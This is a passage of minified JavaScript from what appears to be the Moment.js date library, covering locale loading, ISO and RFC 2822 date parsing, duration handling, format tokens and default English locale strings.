t,i,f,u,r=0;r<n.length;){for(t=(u=ke(n[r]).split("-")).length,i=(i=ke(n[r+1]))?i.split("-"):null;0<t;){if(f=ru(u.slice(0,t).join("-")))return f;if(i&&i.length>=t&&function(n,t){for(var r=Math.min(n.length,t.length),i=0;i<r;i+=1)if(n[i]!==t[i])return i;return r}(u,i)>=t-1)break;t--}r++}return sr}function ru(n){var t;if(void 0===a[n]&&"undefined"!=typeof module&&module&&module.exports&&null!=n.match("^[^/\\\\]*$"))try{t=sr._abbr;require("./locale/"+n);ni(t)}catch(t){a[n]=null}return a[n]}function ni(n,t){return n&&((t=k(t)?wt(n):ff(n,t))?sr=t:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+n+" not found. Did you forget to load it?")),sr._abbr}function ff(n,t){if(null===t)return delete a[n],null;var r,i=be;if(t.abbr=n,null!=a[n])ue("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),i=a[n]._config;else if(null!=t.parentLocale)if(null!=a[t.parentLocale])i=a[t.parentLocale]._config;else{if(null==(r=ru(t.parentLocale)))return hr[t.parentLocale]||(hr[t.parentLocale]=[]),hr[t.parentLocale].push({name:n,config:t}),null;i=r._config}return a[n]=new bu(wu(i,t)),hr[n]&&hr[n].forEach(function(n){ff(n.name,n.config)}),ni(n),a[n]}function wt(n){var t;if(!(n=n&&n._locale&&n._locale._abbr?n._locale._abbr:n))return sr;if(!it(n)){if(t=ru(n))return t;n=[n]}return vs(n)}function ef(n){var t=n._a;return t&&-2===f(n).overflow&&(t=t[vt]<0||11<t[vt]?vt:t[ht]<1||t[ht]>gr(t[b],t[vt])?ht:t[y]<0||24<t[y]||24===t[y]&&(0!==t[ut]||0!==t[yt]||0!==t[ei])?y:t[ut]<0||59<t[ut]?ut:t[yt]<0||59<t[yt]?yt:t[ei]<0||999<t[ei]?ei:-1,f(n)._overflowDayOfYear&&(t<b||ht<t)&&(t=ht),f(n)._overflowWeeks&&-1===t&&(t=fs),f(n)._overflowWeekday&&-1===t&&(t=es),f(n).overflow=t),n}function de(n){var t,r,s,e,u,h,o=n._i,i=ys.exec(o)||ps.exec(o),o=uu.length,c=sf.length;if(i){for(f(n).iso=!0,t=0,r=o;t<r;t++)if(uu[t][1].exec(i[1])){e=uu[t][0];s=!1!==uu[t][2];break}if(null==e)n._isValid=!1;else{if(i[3]){for(t=0,r=c;t<r;t++)if(sf[t][1].exec(i[3])){u=(i[2]||" ")+sf[t][0];break}if(null==u)return void(n._isValid=!1)}if(s||null==u){if(i[4]){if(!ws.exec(i[4]))return void(n._isValid=!1);h="Z"}n._f=e+(u||"")+(h||"");cf(n)}else n._isValid=!1}}else n._isValid=!1}function gs(n,t,i,r,u,f){return n=[function(n){return(n=parseInt(n,10),n<=49)?2e3+n:n<=999?1900+n:n}(n),se.indexOf(t),parseInt(i,10),parseInt(r,10),parseInt(u,10)],f&&n.push(parseInt(f,10)),n}function ge(n){var e,i,r,u,t=ks.exec(n._i.replace(/\([^()]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,""));t?(e=gs(t[4],t[3],t[2],t[5],t[6],t[7]),i=t[1],r=e,u=n,i&&ye.indexOf(i)!==new Date(r[0],r[1],r[2]).getDay()?(f(u).weekdayMismatch=!0,u._isValid=!1):(n._a=e,n._tzm=(i=t[8],r=t[9],u=t[10],i?ds[i]:r?0:60*(((i=parseInt(u,10))-(r=i%100))/100)+r),n._d=fr.apply(null,n._a),n._d.setUTCMinutes(n._d.getUTCMinutes()-n._tzm),f(n).rfc2822=!0)):n._isValid=!1}function wi(n,t,i){return null!=n?n:null!=t?t:i}function hf(n){var r,p,u,i,h,a,e,o,v,s,c,w=[];if(!n._d){for(u=n,i=new Date(t.now()),p=u._useUTC?[i.getUTCFullYear(),i.getUTCMonth(),i.getUTCDate()]:[i.getFullYear(),i.getMonth(),i.getDate()],n._w&&null==n._a[ht]&&null==n._a[vt]&&(null!=(i=(u=n)._w).GG||null!=i.W||null!=i.E?(o=1,v=4,h=wi(i.GG,u._a[b],er(l(),1,4).year),a=wi(i.W,1),((e=wi(i.E,1))<1||7<e)&&(s=!0)):(o=u._locale._week.dow,v=u._locale._week.doy,c=er(l(),o,v),h=wi(i.gg,u._a[b],c.year),a=wi(i.w,c.week),null!=i.d?((e=i.d)<0||6<e)&&(s=!0):null!=i.e?(e=i.e+o,(i.e<0||6<i.e)&&(s=!0)):e=o),a<1||a>pt(h,o,v)?f(u)._overflowWeeks=!0:null!=s?f(u)._overflowWeekday=!0:(c=ve(h,a,e,o,v),u._a[b]=c.year,u._dayOfYear=c.dayOfYear)),null!=n._dayOfYear&&(i=wi(n._a[b],p[b]),(n._dayOfYear>ur(i)||0===n._dayOfYear)&&(f(n)._overflowDayOfYear=!0),s=fr(i,0,n._dayOfYear),n._a[vt]=s.getUTCMonth(),n._a[ht]=s.getUTCDate()),r=0;r<3&&null==n._a[r];++r)n._a[r]=w[r]=p[r];for(;r<7;r++)n._a[r]=w[r]=null==n._a[r]?2===r?1:0:n._a[r];24===n._a[y]&&0===n._a[ut]&&0===n._a[yt]&&0===n._a[ei]&&(n._nextDay=!0,n._a[y]=0);n._d=(n._useUTC?fr:hs).apply(null,w);h=n._useUTC?n._d.getUTCDay():n._d.getDay();null!=n._tzm&&n._d.setUTCMinutes(n._d.getUTCMinutes()-n._tzm);n._nextDay&&(n._a[y]=24);n._w&&void 0!==n._w.d&&n._w.d!==h&&(f(n).weekdayMismatch=!0)}}function cf(n){if(n._f===t.ISO_8601)de(n);else if(n._f===t.RFC_2822)ge(n);else{n._a=[];f(n).empty=!0;for(var r,u,e,l,o,i=""+n._i,h=i.length,a=0,v=ee(n._f,n._locale).match(ku)||[],p=v.length,c=0;c<p;c++)u=v[c],(r=(i.match(us(u,n))||[])[0])&&(0<(e=i.substr(0,i.indexOf(r))).length&&f(n).unusedInput.push(e),i=i.slice(i.indexOf(r)+r.length),a+=r.length),hi[u]?(r?f(n).empty=!1:f(n).unusedTokens.push(u),e=u,o=n,null!=(l=r)&&s(dr,e)&&dr[e](l,o._a,o,e)):n._strict&&!r&&f(n).unusedTokens.push(u);f(n).charsLeftOver=h-a;0<i.length&&f(n).unusedInput.push(i);n._a[y]<=12&&!0===f(n).bigHour&&0<n._a[y]&&(f(n).bigHour=void 0);f(n).parsedDateParts=n._a.slice(0);f(n).meridiem=n._meridiem;n._a[y]=function(n,t,i){return null==i?t:null!=n.meridiemHour?n.meridiemHour(t,i):null!=n.isPM?((n=n.isPM(i))&&t<12&&(t+=12),t=n||12!==t?t:0):t}(n._locale,n._a[y],n._meridiem);null!==(h=f(n).era)&&(n._a[b]=n._locale.erasConvertYear(h,n._a[b]));hf(n);ef(n)}}function no(n){var e,i,o,r=n._i,u=n._f;return(n._locale=n._locale||wt(n._l),null===r||void 0===u&&""===r)?cr({nullInput:!0}):("string"==typeof r&&(n._i=r=n._locale.preparse(r)),rt(r))?new tr(ef(r)):(nr(r)?n._d=r:it(u)?!function(n){var t,o,r,u,i,e,s=!1,h=n._f.length;if(0===h)return f(n).invalidFormat=!0,n._d=new Date(NaN);for(u=0;u<h;u++)i=0,e=!1,t=pu({},n),null!=n._useUTC&&(t._useUTC=n._useUTC),t._f=n._f[u],cf(t),vu(t)&&(e=!0),i=(i+=f(t).charsLeftOver)+10*f(t).unusedTokens.length,f(t).score=i,s?i<r&&(r=i,o=t):(null==r||i<r||e)&&(r=i,o=t,e&&(s=!0));dt(n,o||t)}(n):u?cf(n):k(u=(r=n)._i)?r._d=new Date(t.now()):nr(u)?r._d=new Date(u.valueOf()):"string"==typeof u?(i=r,null!==(e=bs.exec(i._i))?i._d=new Date(+e[1]):(de(i),!1===i._isValid&&(delete i._isValid,ge(i),!1===i._isValid&&(delete i._isValid,i._strict?i._isValid=!1:t.createFromInputFallback(i))))):it(u)?(r._a=ne(u.slice(0),function(n){return parseInt(n,10)}),hf(r)):ii(u)?(e=r)._d||(o=void 0===(i=gu(e._i)).day?i.date:i.day,e._a=ne([i.year,i.month,o,i.hour,i.minute,i.second,i.millisecond],function(n){return n&&parseInt(n,10)}),hf(e)):lt(u)?r._d=new Date(u):t.createFromInputFallback(r),vu(n)||(n._d=null),n)}function to(n,t,i,r,u){var f={};return!0!==t&&!1!==t||(r=t,t=void 0),!0!==i&&!1!==i||(r=i,i=void 0),(ii(n)&&au(n)||it(n)&&0===n.length)&&(n=void 0),f._isAMomentObject=!0,f._useUTC=f._isUTC=u,f._l=i,f._i=n,f._f=t,f._strict=r,(u=new tr(ef(no(u=f))))._nextDay&&(u.add(1,"d"),u._nextDay=void 0),u}function l(n,t,i,r){return to(n,t,i,r,!1)}function io(n,t){var r,i;if(!(t=1===t.length&&it(t[0])?t[0]:t).length)return l();for(r=t[0],i=1;i<t.length;++i)t[i].isValid()&&!t[i][n](r)||(r=t[i]);return r}function fu(n){var n=gu(n),t=n.year||0,i=n.quarter||0,r=n.month||0,u=n.week||n.isoWeek||0,f=n.day||0,o=n.hour||0,h=n.minute||0,c=n.second||0,l=n.millisecond||0;this._isValid=function(n){var i,t,r=!1,u=bi.length;for(i in n)if(s(n,i)&&(-1===v.call(bi,i)||null!=n[i]&&isNaN(n[i])))return!1;for(t=0;t<u;++t)if(n[bi[t]]){if(r)return!1;parseFloat(n[bi[t]])!==e(n[bi[t]])&&(r=!0)}return!0}(n);this._milliseconds=+l+1e3*c+6e4*h+36e5*o;this._days=+f+7*u;this._months=+r+3*i+12*t;this._data={};this._locale=wt();this._bubble()}function eu(n){return n instanceof fu}function lf(n){return n<0?-1*Math.round(-1*n):Math.round(n)}function ro(n,t){r(n,0,0,function(){var n=this.utcOffset(),i="+";return n<0&&(n=-n,i="-"),i+st(~~(n/60),2)+t+st(~~n%60,2)})}function af(n,t){var t=(t||"").match(n);return null===t?null:0===(t=60*(n=((t[t.length-1]||[])+"").match(uo)||["-",0,0])[1]+e(n[2]))?0:"+"===n[0]?t:-t}function vf(n,i){var r;return i._isUTC?(i=i.clone(),r=(rt(n)||nr(n)?n:l(n)).valueOf()-i.valueOf(),i._d.setTime(i._d.valueOf()+r),t.updateOffset(i,!1),i):l(n).local()}function yf(n){return-Math.round(n._d.getTimezoneOffset())}function fo(){return!!this.isValid()&&this._isUTC&&0===this._offset}function ft(n,t){var u,r=n,i=null;return eu(n)?r={ms:n._milliseconds,d:n._days,M:n._months}:lt(n)||!isNaN(+n)?(r={},t?r[t]=+n:r.milliseconds=+n):(i=eo.exec(n))?(u="-"===i[1]?-1:1,r={y:0,d:e(i[ht])*u,h:e(i[y])*u,m:e(i[ut])*u,s:e(i[yt])*u,ms:e(lf(1e3*i[ei]))*u}):(i=oo.exec(n))?(u="-"===i[1]?-1:1,r={y:oi(i[2],u),M:oi(i[3],u),w:oi(i[4],u),d:oi(i[5],u),h:oi(i[6],u),m:oi(i[7],u),s:oi(i[8],u)}):null==r?r={}:"object"==typeof r&&("from"in r||"to"in r)&&(t=function(n,t){var i;return!n.isValid()||!t.isValid()?{milliseconds:0,months:0}:(t=vf(t,n),n.isBefore(t)?i=so(n,t):((i=so(t,n)).milliseconds=-i.milliseconds,i.months=-i.months),i)}(l(r.from),l(r.to)),(r={}).ms=t.milliseconds,r.M=t.months),i=new fu(r),eu(n)&&s(n,"_locale")&&(i._locale=n._locale),eu(n)&&s(n,"_isValid")&&(i._isValid=n._isValid),i}function oi(n,t){return n=n&&parseFloat(n.replace(",",".")),(isNaN(n)?0:n)*t}function so(n,t){var i={};return i.months=t.month()-n.month()+12*(t.year()-n.year()),n.clone().add(i.months,"M").isAfter(t)&&--i.months,i.milliseconds=+t-+n.clone().add(i.months,"M"),i}function ho(n,t){return function(i,r){var u;return null===r||isNaN(+r)||(ue(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),u=i,i=r,r=u),co(this,ft(i,r),n),this}}function co(n,i,r,u){var e=i._milliseconds,f=lf(i._days),i=lf(i._months);n.isValid()&&(u=null==u||u,i&&ce(n,yr(n,"Month")+i*r),f&&oe(n,"Date",yr(n,"Date")+f*r),e&&n._d.setTime(n._d.valueOf()+e*r),u&&t.updateOffset(n,f||i))}function lo(n){return"string"==typeof n||n instanceof String}function nh(n){return rt(n)||nr(n)||lo(n)||lt(n)||function(n){var t=it(n),i=!1;return t&&(i=0===n.filter(function(t){return!lt(t)&&lo(n)}).length),t&&i}(n)||function(n){for(var r,f=ii(n)&&!au(n),i=!1,u=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"],e=u.length,t=0;t<e;t+=1)r=u[t],i=i||s(n,r);return f&&i}(n)||null==n}function ou(n,t){if(n.date()<t.date())return-ou(t,n);var r=12*(t.year()-n.year())+(t.month()-n.month()),i=n.clone().add(r,"months"),t=t-i<0?(t-i)/(i-n.clone().add(r-1,"months")):(t-i)/(n.clone().add(1+r,"months")-i);return-(r+t)||0}function ao(n){return void 0===n?this._locale._abbr:(null!=(n=wt(n))&&(this._locale=n),this)}function vo(){return this._locale}function ki(n,t){return(n%t+t)%t}function yo(n,t,i){return n<100&&0<=n?new Date(n+400,t,i)-pf:new Date(n,t,i).valueOf()}function po(n,t,i){return n<100&&0<=n?Date.UTC(n+400,t,i)-pf:Date.UTC(n,t,i)}function wf(n,t){return t.erasAbbrRegex(n)}function bf(){for(var r=[],u=[],f=[],i=[],t=this.eras(),n=0,e=t.length;n<e;++n)u.push(d(t[n].name)),r.push(d(t[n].abbr)),f.push(d(t[n].narrow)),i.push(d(t[n].name)),i.push(d(t[n].abbr)),i.push(d(t[n].narrow));this._erasRegex=new RegExp("^("+i.join("|")+")","i");this._erasNameRegex=new RegExp("^("+u.join("|")+")","i");this._erasAbbrRegex=new RegExp("^("+r.join("|")+")","i");this._erasNarrowRegex=new RegExp("^("+f.join("|")+")","i")}function su(n,t){r(0,[n,n.length],0,t)}function wo(n,t,i,r,u){var f;return null==n?er(this,r,u).year:(f=pt(n,r,u),function(n,t,i,r,u){return n=ve(n,t,i,r,u),t=fr(n.year,0,n.dayOfYear),this.year(t.getUTCFullYear()),this.month(t.getUTCMonth()),this.date(t.getUTCDate()),this}.call(this,n,t=f<t?f:t,i,r,u))}function th(n,t){t[ei]=e(1e3*("0."+n))}function bo(n){return n}function hu(n,t,i,r){var u=wt(),r=et().set(r,t);return u[i](r,n)}function ko(n,t,i){if(lt(n)&&(t=n,n=void 0),n=n||"",null!=t)return hu(n,t,i,"month");for(var u=[],r=0;r<12;r++)u[r]=hu(n,r,i,"month");return u}function kf(n,t,i,r){t=("boolean"==typeof n?lt(t)&&(i=t,t=void 0):(t=n,n=!1,lt(i=t)&&(i=t,t=void 0)),t||"");var u,o=wt(),f=n?o._week.dow:0,e=[];if(null!=i)return hu(t,(i+f)%7,r,"day");for(u=0;u<7;u++)e[u]=hu(t,(u+f)%7,r,"day");return e}function go(n,t,i,r){return t=ft(t,i),n._milliseconds+=r*t._milliseconds,n._days+=r*t._days,n._months+=r*t._months,n._bubble()}function ns(n){return n<0?Math.floor(n):Math.ceil(n)}function ts(n){return 4800*n/146097}function df(n){return 146097*n/4800}function bt(n){return function(){return this.as(n)}}function si(n){return function(){return this.isValid()?this._data[n]:NaN}}function fh(n,t,i,r){var f=ft(n).abs(),u=kt(f.as("s")),e=kt(f.as("m")),o=kt(f.as("h")),s=kt(f.as("d")),h=kt(f.as("M")),c=kt(f.as("w")),f=kt(f.as("y")),u=(u<=i.ss?["s",u]:u<i.s&&["ss",u])||e<=1&&["m"]||e<i.m&&["mm",e]||o<=1&&["h"]||o<i.h&&["hh",o]||s<=1&&["d"]||s<i.d&&["dd",s];return(u=(u=null!=i.w?u||c<=1&&["w"]||c<i.w&&["ww",c]:u)||h<=1&&["M"]||h<i.M&&["MM",h]||f<=1&&["y"]||["yy",f])[2]=t,u[3]=0<+n,u[4]=r,function(n,t,i,r,u){return u.relativeTime(t||1,!!i,n,r)}.apply(null,u)}function gi(n){return(0<n)-(n<0)||+n}function lu(){if(!this.isValid())return this.localeData().invalidDate();var n,r,e,s,o,h,u,t=cu(this._milliseconds)/1e3,c=cu(this._days),f=cu(this._months),i=this.asSeconds();return i?(n=tt(t/60),r=tt(n/60),t%=60,n%=60,e=tt(f/12),f%=12,s=t?t.toFixed(3).replace(/\.?0+$/,""):"",o=gi(this._months)!==gi(i)?"-":"",h=gi(this._days)!==gi(i)?"-":"",u=gi(this._milliseconds)!==gi(i)?"-":"",(i<0?"-":"")+"P"+(e?o+e+"Y":"")+(f?o+f+"M":"")+(c?h+c+"D":"")+(r||n||t?"T":"")+(r?u+r+"H":"")+(n?u+n+"M":"")+(t?u+s+"S":"")):"P0D"}var gf,is=Array.prototype.some||function(n){for(var i=Object(this),r=i.length>>>0,t=0;t<r;t++)if(t in i&&n.call(this,i[t],t,i))return!0;return!1},te=t.momentProperties=[],yu=!1,re={},fe,ci,nf,kr,dr,nu,bi,uo,eo,oo,pf,ti,ri,gt,ct,cu,o;t.suppressDeprecationWarnings=!1;t.deprecationHandler=null;fe=Object.keys||function(n){var t,i=[];for(t in n)s(n,t)&&i.push(t);return i};var ku=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|N{1,5}|YYYYYY|YYYYY|YYYY|YY|y{2,4}|yo?|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,lr=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,du={},hi={};ci={};nf={};var n=/\d/,u=/\d\d/,pr=/\d{3}/,ri=/\d{4}/,ui=/[+-]?\d{6}/,c=/\d\d?/,ai=/\d\d\d\d?/,vi=/\d\d\d\d\d\d?/,yi=/\d{1,3}/,fi=/\d{1,4}/,gt=/[+-]?\d{1,6}/,pi=/\d+/,wr=/[+-]?\d+/,rs=/Z|[+-]\d\d:?\d\d/gi,br=/Z|[+-]\d\d(?::?\d\d)?/gi,at=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;kr={};dr={};var v,b=0,vt=1,ht=2,y=3,ut=4,yt=5,ei=6,fs=7,es=8;v=Array.prototype.indexOf||function(n){for(var t=0;t<this.length;++t)if(this[t]===n)return t;return-1};r("M",["MM",2],"Mo",function(){return this.month()+1});r("MMM",0,0,function(n){return this.localeData().monthsShort(this,n)});r("MMMM",0,0,function(n){return this.localeData().months(this,n)});p("month","M");w("month",8);i("M",c);i("MM",c,u);i("MMM",function(n,t){return t.monthsShortRegex(n)});i("MMMM",function(n,t){return t.monthsRegex(n)});h(["M","MM"],function(n,t){t[vt]=e(n)-1});h(["MMM","MMMM"],function(n,t,i,r){r=i._locale.monthsParse(n,r,i._strict);null!=r?t[vt]=r:f(i).invalidMonth=n});var rr="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),se="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),he=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,os=at,ss=at;r("Y",0,0,function(){var n=this.year();return n<=9999?st(n,4):"+"+n});r(0,["YY",2],0,function(){return this.year()%100});r(0,["YYYY",4],0,"year");r(0,["YYYYY",5],0,"year");r(0,["YYYYYY",6,!0],0,"year");p("year","y");w("year",1);i("Y",wr);i("YY",c,u);i("YYYY",fi,ri);i("YYYYY",gt,ui);i("YYYYYY",gt,ui);h(["YYYYY","YYYYYY"],b);h("YYYY",function(n,i){i[b]=2===n.length?t.parseTwoDigitYear(n):e(n)});h("YY",function(n,i){i[b]=t.parseTwoDigitYear(n)});h("Y",function(n,t){t[b]=parseInt(n,10)});t.parseTwoDigitYear=function(n){return e(n)+(68<e(n)?1900:2e3)};nu=li("FullYear",!0);r("w",["ww",2],"wo","week");r("W",["WW",2],"Wo","isoWeek");p("week","w");p("isoWeek","W");w("week",5);w("isoWeek",5);i("w",c);i("ww",c,u);i("W",c);i("WW",c,u);ir(["w","ww","W","WW"],function(n,t,i,r){t[r.substr(0,1)]=e(n)});r("d",0,"do","day");r("dd",0,0,function(n){return this.localeData().weekdaysMin(this,n)});r("ddd",0,0,function(n){return this.localeData().weekdaysShort(this,n)});r("dddd",0,0,function(n){return this.localeData().weekdays(this,n)});r("e",0,0,"weekday");r("E",0,0,"isoWeekday");p("day","d");p("weekday","e");p("isoWeekday","E");w("day",11);w("weekday",11);w("isoWeekday",11);i("d",c);i("e",c);i("E",c);i("dd",function(n,t){return t.weekdaysMinRegex(n)});i("ddd",function(n,t){return t.weekdaysShortRegex(n)});i("dddd",function(n,t){return t.weekdaysRegex(n)});ir(["dd","ddd","dddd"],function(n,t,i,r){r=i._locale.weekdaysParse(n,r,i._strict);null!=r?t.d=r:f(i).invalidWeekday=n});ir(["d","e","E"],function(n,t,i,r){t[r]=e(n)});var or="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),ye="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),iu="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),cs=at,ls=at,as=at;r("H",["HH",2],0,"hour");r("h",["hh",2],0,uf);r("k",["kk",2],0,function(){return this.hours()||24});r("hmm",0,0,function(){return""+uf.apply(this)+st(this.minutes(),2)});r("hmmss",0,0,function(){return""+uf.apply(this)+st(this.minutes(),2)+st(this.seconds(),2)});r("Hmm",0,0,function(){return""+this.hours()+st(this.minutes(),2)});r("Hmmss",0,0,function(){return""+this.hours()+st(this.minutes(),2)+st(this.seconds(),2)});pe("a",!0);pe("A",!1);p("hour","h");w("hour",13);i("a",we);i("A",we);i("H",c);i("h",c);i("k",c);i("HH",c,u);i("hh",c,u);i("kk",c,u);i("hmm",ai);i("hmmss",vi);i("Hmm",ai);i("Hmmss",vi);h(["H","HH"],y);h(["k","kk"],function(n,t){n=e(n);t[y]=24===n?0:n});h(["a","A"],function(n,t,i){i._isPm=i._locale.isPM(n);i._meridiem=n});h(["h","hh"],function(n,t,i){t[y]=e(n);f(i).bigHour=!0});h("hmm",function(n,t,i){var r=n.length-2;t[y]=e(n.substr(0,r));t[ut]=e(n.substr(r));f(i).bigHour=!0});h("hmmss",function(n,t,i){var r=n.length-4,u=n.length-2;t[y]=e(n.substr(0,r));t[ut]=e(n.substr(r,2));t[yt]=e(n.substr(u));f(i).bigHour=!0});h("Hmm",function(n,t){var i=n.length-2;t[y]=e(n.substr(0,i));t[ut]=e(n.substr(i))});h("Hmmss",function(n,t){var i=n.length-4,r=n.length-2;t[y]=e(n.substr(0,i));t[ut]=e(n.substr(i,2));t[yt]=e(n.substr(r))});at=li("Hours",!0);var sr,be={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:rr,monthsShort:se,week:{dow:0,doy:6},weekdays:or,weekdaysMin:iu,weekdaysShort:ye,meridiemParse:/[ap]\.?m?\.?/i},a={},hr={};var ys=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ps=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ws=/Z|[+-]\d\d(?::?\d\d)?/,uu=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],sf=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],bs=/^\/?Date\((-?\d+)/i,ks=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,ds={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};for(t.createFromInputFallback=g("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",function(n){n._d=new Date(n._i+(n._useUTC?" UTC":""))}),t.ISO_8601=function(){},t.RFC_2822=function(){},ai=g("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var n=l.apply(null,arguments);return this.isValid()&&n.isValid()?n<this?this:n:cr()}),vi=g("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var n=l.apply(null,arguments);return this.isValid()&&n.isValid()?this<n?this:n:cr()}),bi=["year","quarter","month","week","day","hour","minute","second","millisecond"],ro("Z",":"),ro("ZZ",""),i("Z",br),i("ZZ",br),h(["Z","ZZ"],function(n,t,i){i._useUTC=!0;i._tzm=af(br,n)}),uo=/([\+\-]|\d\d)/gi,t.updateOffset=function(){},eo=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,oo=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/,ft.fn=fu.prototype,ft.invalid=function(){return ft(NaN)},rr=ho(1,"add"),or=ho(-1,"subtract"),t.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",t.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]",iu=g("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(n){return void 0===n?this.localeData():this.locale(n)}),pf=126227808e5,r("N",0,0,"eraAbbr"),r("NN",0,0,"eraAbbr"),r("NNN",0,0,"eraAbbr"),r("NNNN",0,0,"eraName"),r("NNNNN",0,0,"eraNarrow"),r("y",["y",1],"yo","eraYear"),r("y",["yy",2],0,"eraYear"),r("y",["yyy",3],0,"eraYear"),r("y",["yyyy",4],0,"eraYear"),i("N",wf),i("NN",wf),i("NNN",wf),i("NNNN",function(n,t){return t.erasNameRegex(n)}),i("NNNNN",function(n,t){return t.erasNarrowRegex(n)}),h(["N","NN","NNN","NNNN","NNNNN"],function(n,t,i,r){r=i._locale.erasParse(n,r,i._strict);r?f(i).era=r:f(i).invalidEra=n}),i("y",pi),i("yy",pi),i("yyy",pi),i("yyyy",pi),i("yo",function(n,t){return t._eraYearOrdinalRegex||pi}),h(["y","yy","yyy","yyyy"],b),h(["yo"],function(n,t,i){var r;i._locale._eraYearOrdinalRegex&&(r=n.match(i._locale._eraYearOrdinalRegex));t[b]=i._locale.eraYearOrdinalParse?i._locale.eraYearOrdinalParse(n,r):parseInt(n,10)}),r(0,["gg",2],0,function(){return this.weekYear()%100}),r(0,["GG",2],0,function(){return 